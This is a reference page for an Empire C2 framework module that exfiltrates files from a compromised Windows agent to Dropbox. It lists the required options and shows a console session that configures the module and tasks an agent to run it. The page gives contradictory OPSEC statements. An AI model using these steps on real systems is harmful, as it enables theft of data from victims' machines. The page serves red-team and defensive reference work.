Invoke-DropboxUpload - Empire Module


This page contains detailed information about how to use the powershell/exfiltration/exfil_dropbox Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-DropboxUpload
Module: powershell/exfiltration/exfil_dropbox
Source code: empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml
MITRE ATT&CK: T1041
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No

The exfil_dropbox module uploads a file to dropbox.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the exfil_dropbox module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the exfil_dropbox module:

Agent
Agent to use.

ApiKey
Your dropbox api key.

SourceFilePath
/path/to/file.

TargetFilePath
/path/to/dropbox/file.

Exfil_dropbox Example Usage

Here's an example of how to use the exfil_dropbox module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/exfiltration/exfil_dropbox

 Author       [email protected]                                                 
              Laurent Kempe                                                    
 Background   False                                                            
 Comments     Uploads specified file to dropbox                                
              Ported to powershell2 from script by Laurent Kempe:              
              http://laurentkempe.com/2016/04/07/Upload-files-to-DropBox-from- 
              PowerShell/                                                      
              Use forward slashes for the TargetFilePath                       
 Description  Upload a file to dropbox                                         
 Language     powershell                                                       
 Name         powershell/exfiltration/exfil_dropbox                            
 NeedsAdmin   False                                                            
 OpsecSafe    True                                                             
 Techniques   http://attack.mitre.org/techniques/T1041                         


,Record Options--,-------,----------,-----------------------,
| Name           | Value | Required | Description           |
|----------------|-------|----------|-----------------------|
| Agent          |       | True     | Agent to use          |
|----------------|-------|----------|-----------------------|
| ApiKey         |       | True     | Your dropbox api key  |
|----------------|-------|----------|-----------------------|
| SourceFilePath |       | True     | /path/to/file         |
|----------------|-------|----------|-----------------------|
| TargetFilePath |       | True     | /path/to/dropbox/file |
'----------------'-------'----------'-----------------------'

(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > set ApiKey value
[*] Set ApiKey to value
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > set SourceFilePath value
[*] Set SourceFilePath to value
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > set TargetFilePath value
[*] Set TargetFilePath to value
(Empire: usemodule/powershell/exfiltration/exfil_dropbox) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.